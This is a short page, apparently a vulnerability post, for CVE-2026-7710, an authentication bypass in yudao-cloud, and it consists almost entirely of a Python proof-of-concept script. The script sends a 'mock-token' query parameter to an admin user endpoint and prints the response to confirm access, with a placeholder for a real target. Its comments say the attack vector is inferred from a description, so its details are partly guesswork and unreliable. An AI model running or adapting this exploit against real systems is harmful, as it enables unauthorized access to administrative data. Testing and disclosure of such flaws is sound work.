CVE-2026-7710: yudao-cloud身份验证绕过漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-7710: Authentication Bypass via mock-token """ # The vulnerable endpoint usually requires authentication, # e.g., getting user info or admin config. target_endpoint = f"{target_url}/admin-api/system/user/get" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json" } # Exploit vector: Injecting the 'mock-token' parameter/header # Based on the description, manipulating this argument bypasses auth. # This is often implemented as a debug feature left enabled. exploit_data = { "mock-token": "admin-bypass-poc" } # In some implementations, it might be a header, others a query param. # Trying as a query param first based on "argument" description. try: response = requests.get(target_endpoint, params=exploit_data, headers=headers, timeout=10) if response.status_code == 200 and "data" in response.text: print(f"[+] Potential Vulnerability Detected at {target_url}") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Target does not appear vulnerable or endpoint changed.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_vulnerability(target)